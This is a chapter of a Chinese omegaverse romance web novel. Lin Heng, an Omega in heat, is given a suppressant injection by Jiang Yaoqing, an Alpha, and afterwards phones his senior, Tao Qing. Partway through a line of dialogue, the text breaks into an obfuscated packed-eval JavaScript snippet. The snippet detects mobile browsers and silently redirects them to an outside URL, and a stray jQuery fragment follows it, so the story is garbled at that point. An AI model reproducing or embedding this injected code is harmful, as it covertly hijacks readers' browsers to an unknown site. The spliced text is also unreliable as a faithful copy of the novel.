34. 甜辣香
作品:《退婚后成了白月光的专属药引》 天晓得从床上爬起这个简单的动作,花了林衡多少力气。
他像被烧干了似的,通体红烫,脸上汗珠密布,像刚刚从水里被捞出来。
林衡的头嗡嗡地疼,滚落的汗泪打湿眼睫,视野里灰蒙蒙的,重影叠着重影,在房间里起舞。
废了好大的功夫,他才颤巍巍地站起来,狼狈地倚着墙壁,一点点向前蹭动。
太古怪了,明明双腿在挪动,却全无踩中地面的坚实感,像坠入泥泞的沼泽。
他不知道自己做了什么,大概是凭着直觉摸索到电子门前,开了锁,出了门,拖着打晃的躯体,踉跄地扑到学姐家门口,有气无力地撞响了门。
咚、咚、咚——
林衡喘着粗气,身体软塌塌地贴在门上,小腿乏力地打战。
他像被抽了骨头似的,一点点地滑,膝盖骨颤抖着沉降,眼看着就要重重磕在门前的地垫上……
吱呀——
房门忽然被拉开了。
“学姐……”
林衡含混地念了一句,不受控制地向屋内那人倒了过去。
他像一只羽毛湿透的鸟,骤然跌进了某个蓬松的巢穴。
那人仓促地接住了他,应是被他吓住,带着些微的颤抖。
那人似乎说了什么,语调压得极低,他听不清,什么都听不清,只听得见血液在自己耳膜里翻腾的声音,一浪盖过一浪。
“帮、帮我……”
林衡的喉管里艰难地挤出两个音节,额头的汗珠不停地滑下,他睁不开眼,浑身乏力,下坠的恐慌迫使他依循本能,吃力地往那人身上攀缠。
那人蓦地僵住了,没等他反应过来,林衡绵软的手臂便已搂住了他的脖颈,湿漉漉的下巴颏猛地砸进他紧绷僵直的肩窝里。
撩人的热息从林衡的唇缝泄出来,伴着模糊断续的呓语,闷闷地扑在那人的锁骨上。
“林衡、林衡……”
他冰凉的金属腕表一次次下落,拍在林衡的侧脸上。
林衡打了个激灵,醒了一瞬,虚弱地扑腾两下后,又重重地跌回去,像被噩梦魇住了。
林衡高热的躯体止不住地抖颤,汗与泪从熏得粉红的皮肤里渗出,一滴滴砸进对方揉皱的领口处,钻进随着呼吸起伏的前襟里。
随着水渍一圈圈洇开,暧昧饱胀的甜香朦胧地泛起了。
“林衡!”
那人的肌肉倏然绷紧,块垒分明地凸起,像峻拔的山岩。
林衡唔了声,便哑了下去,一味地张着唇吸气。
“林衡……”
那人又呵斥,声音在闷湿的房间里荡开。
不再有多余的声响,林衡没力气再应,沉默如潮热的雾气,在狭小的斗室里弥散。
“啧。”
一声极其不耐烦的感叹。
林衡被拦腰抱起。
天旋地转。
林衡栽倒在那人胸前,头昏眼花,喉头一阵阵翻涌。
可就在此刻,他鼻尖忽然捕捉到一股奇异的味道——淡淡的、带着辛辣的甜胡椒香气。
那丝气味像无形的大手,随着他深深的摄入,抚慰着躁动的神经。
林衡的颤抖渐渐止住了,本能一般,他死死攥住对方的衣襟,猛地贴了上去。
他湿透的脸颊不住地磨蹭,鼻尖贪婪地吸气,激烈的喘气声起伏不定,像是濒死之人渴求氧气。
对方明显一缩,似乎隔着厚厚的衣料,仍被他高热的皮肤烫到了。
尽管那具身躯的每一条肌肉都隐忍地收缩,林衡却没有停下,反而更加放肆地将整张脸埋了进去,那股甜辣香像是镇痛剂,让他昏昏欲睡,却又无法停止。
下一秒,他的世界忽然一沉,身子重重地被抛到了沙发上。
柔软的沙发几乎吞没了他。林衡惊叫一声,下意识地伸手去抓,那人没有避开,反而任他抓握。
“林衡!”
那人伸出另一只手来,手掌在他脸上拍了又拍。
他的掌心烫得惊人,有些湿,带着薄汗,湿漉漉的触感让林衡下意识地抖颤:“是……谁?”
那人没有回答。
气氛忽然冷了下去。
几秒后,那人慢慢地挣动手腕,想要从他手中抽离。
林衡恐慌地挣扎起来,他胡乱地抬起脸,失焦的瞳孔剧烈地颤动着,他不住地眨动着眼睫,直到视线渐渐清晰,让他能隐约分清那人的轮廓。
“……耀清。”
江耀清垂着眼看他,他们像隔着起雾的玻璃对视,林衡竭力睁开红肿的眼睑,却看不清他的表情。
“抑制剂在哪里?”
耀清问,“我去买?”
林衡动着嘴唇,胸膛激烈地起伏:“在……行李箱……。”
江耀清起身走开,客厅里响起了一阵翻动声。
在等待的半分钟里,林衡难耐地蜷缩着身体,脑仁都要被高温烤化了,颈子上的血管不停地跳动,每跳一下都仿佛是一个世纪。
他紧咬着嘴唇,忍了又忍,最终侧过头去,埋进沙发靠背里,他水淋淋的五指死死扣住沙发布面,汗水从指缝里不住地渗出,很快便将粗糙的面料彻底洇湿,软塌塌地黏在掌心里。
就在他几乎要低泣时,一阵拆封的声音忽然在耳边响起。
江耀清麻利地拆开抑制剂,在一阵抽取药液的滋滋声里,他的声音极压抑:“翻身。”
林衡没动,他便重复了一遍:“翻身,露出腺体。”
他的声音不算平稳,带着无法掩饰的微颤。浑浑噩噩的林衡蓦地意识到,江耀清,也在勉强控制自己。
是了,他是个Alpha,是个易感期紊乱的Alpha。
此时此刻,他与林衡的痛苦恐怕不相上下,只是他模糊的双眼看不清而已。
林衡试图回应,身体动了动,却毫无翻身的气力,只是将沙发蹭得更凌乱。
“不、不行了……”
江耀清闭了下眼。
他咬着牙俯身,捉住林衡的双肩,将他猛地翻了过去。
林衡瘫软地背对着耀清,后背的布料被汗水浸染得薄透,领子软塌塌的,随着呼吸的搏动而起伏。
江耀清克制着右手的颤抖,心下一横,将领子一把勾下,将汗湿的发尾拨开,露出那段纤细的脖颈。
腺体热得发红,微微肿胀起来,在他的视野中央烙了个洞。
刹那间,林衡又甜又苦的信息素澎湃地溢满了整个房间。
江耀清的喉结滚了滚,肩膀开始颤抖,额角也渗出了汗。
他像是被这味道硬生生灼了一下,本能地想后退,却又被迫定在原地。
耀清屏住呼吸,一把拽过旁边的薄凉被,将林衡的身体严严实实地遮住,只露出腺体的位置,尽可能地减少气味的释放。
随后他抿着薄唇,将针头对准目标,尽可能轻柔地扎了下去。
针落下时,Alpha伸出骨节分明的手,卡住了林衡的脖子。
林衡瞬间冒了冷汗,他不受控制地挣扎起来,像一条求救的鱼。
他恐惧得发抖,但江耀清的手掌不肯放松,滚烫如烙铁的掌心死死地钳住他,让他动弹不得,只能发出呜呜的哀鸣声。
“耀清、耀……”
冰冷的针尖刺破了皮肤,随着药液的推入,熟悉的凉意渐渐浸润他的腺体。
对于这具快被烧干的躯体而言,第一下是刺痛的。
林衡整张背都缩紧了,闷在凉被里的皮肤不住地冒出甜腻的细汗,很快他的身体便降了温,热度在缓缓消退,四肢也不再挣动,混沌一片的脑海逐渐回归清明。
他的感受力在徐徐恢复,他终于察觉到耀清的状态有多不稳定。
耀清的身体紧绷得厉害,呼吸越来越重,在寂静的房间里不断回响。
呼吸的回响,仿佛是湿漉漉的雨声。
注射完毕,针头被拔出,林衡挪动着双臂,强撑起身体声音虚弱又沙哑:“耀清,你……”
然而他刚刚扭过头来时,一滴汗水蓦地坠下,打在了他眼睑上。
林衡彻底怔住了。
他们离得好近,仿佛从未这样近过。
两人四目相对,视野被对方漂亮的面孔填满。眉心的紧蹙、眼睫的颤动、皮肤的透红、两颊的水痕……
还有急促的喘息声,一呼一吸间,他们不断地摄入彼此的味道。
没有人说话,仿佛思绪全都烧熔了。
只有彼此乏力、惊惧、渴求的模样深深地刻进了脑海。
一动不动。
像是着了魔。
啪嗒——
针筒忽然掉落了。
江耀清霎时回过魂来,他的视线瞬间挪开了,撑着沙发扶手起身:“你住这栋?”
“是、是的……
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16517517|184304||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
林衡也连忙坐起来,尴尬又茫然地掀掉被子,整理着自己的睡衣:“我们……”
“带我回你家。”
江耀清主动拉开了安全距离,他脱下满是信息素的大衣,背对着林衡:“我要洗澡。”
“好、好的……”
*
七分钟后,伴着淋浴间哗哗的水声,林衡脱力般靠在藤椅中,拨通了陶青的电话。
“喂?学姐?你在哪儿?”
“喂,小衡,刚刚我家突然断电了,我就去物业交电费了,现在正在超市里买水果和饮料,怎么啦?中午要一起吃个饭嘛?”
“刚刚我去敲你家门,想拿行李箱,结果发现你没在家,开门的人是耀清……”
“哦,他今天来我家做客了。”
陶青一边将浏览着手中无糖茶饮的标签,一边回道:“我不是拍过你在美术馆采访他的视频嘛,他想要原始素材,所以你把我V信推给他了,我俩加了好友,记得吧?”
“嗯,是啊……”
“和他聊了才知道,原来这位就是赫赫有名的小江总。小江总刚从美国回来,打算在银城落地德通医药的大项目——他的事迹我听家里长辈说过无数遍了。”
陶青将饮料扔进购物篮,走向了对面的货架:“好巧不巧,小江总打算在城西买地皮建厂,我家老爷子是城西地头蛇呀,我打小也是在城西长大的,所以就约好见面详谈,三天前他请我吃了饭,今天轮到我招待他了,结果刚聊两句我家啪地停电了,该交电费了。”
说到这里,陶青神神秘秘地清了清嗓子:“小衡呀,方不方便透露下,你之前是怎么和小江总认识的?难道是通过那个姓闻的?听说德通和万峰关系不错啊……”
“嗯……算是吧……”
林衡含混地应付了下:“学姐,不好意思……我处在发.情期,今早一醒就烧得厉害,怎么都找不到抑制剂,就去了你家,结果把你的沙发套和薄凉被弄上汗了,我已经放进洗衣机里洗了,等晾干了再给你送回来。”
“嗨,不打紧,我一个Beta,对信息素也没啥感觉……咦不对啊小衡……”
陶青语气忽然不对劲了:“所以刚刚……处于发情期的你,迎面撞上了……”
林衡攥紧了手机:“嗯。”
“那你没事吧?他毕竟是Alpha,没把你怎么样吧?”
陶青的语速越来越快:“小衡,你现在身边有人吗?你可以给我个暗示,如果他真的对你做什么了,我立刻就报警……”
“没有。”
林衡有些尴尬:“那时候我晕乎乎的,动都动不了了,他就帮我注射了抑制剂,现在已经好多了。”
陶青那边沉默了五秒,随后意味深长地哦了一声。
“我马上回来了,你在我家对吧?厨房里有蜜瓜和车厘子,麻烦你洗一下装盘,和江总先吃。”
“那个……我回自己家了……”
林衡犹豫了一会儿:“耀清身上沾满了我的信息素,要洗个澡,换套衣服。他洗完了我洗,我浑身都是热汗……”
“哦……我明白了。”
陶青静了静,露出了迷之微笑,“那我先不打扰了,你们好好休整,一会儿咱们再聊。”
滴、滴、滴——
学姐似乎误会了什么……
挂断电话后,林衡叹了口气,很是难为情。
不,似乎她也没误解什么。
他和耀清的互动,确实也没那么清白。
方才那个兵荒马乱的瞬间,分明两人都狼狈无比,暴露了最不堪、最失控、最丑陋的一面。可在那样脱轨的状态下,在凌乱潮湿的沙发上,在双方茫然的眼瞳里,分明有暧昧在滋生与激荡。
他不知该怎样形容,言辞都失灵了,直觉告诉他,那是种扭曲的吸引力——对信息素过敏的Omega和腺体残疾的Alpha,两个异类之间微妙的情愫,就在那个沉默以对的时刻,化作强烈的心跳撞击着胸膛。
连天灵盖都在惶惶地震动。
林衡深深地吸气,再吐气。
他探出手指,慢慢搭在后颈上,轻轻按揉着发热的腺体。
已经摸不到那枚细小的针孔了。
一时间,林衡有些恍惚。
这是已经耀清第二次为他注射抑制剂了。
上一次,还是在七年前,在深红图腾夏令营里。

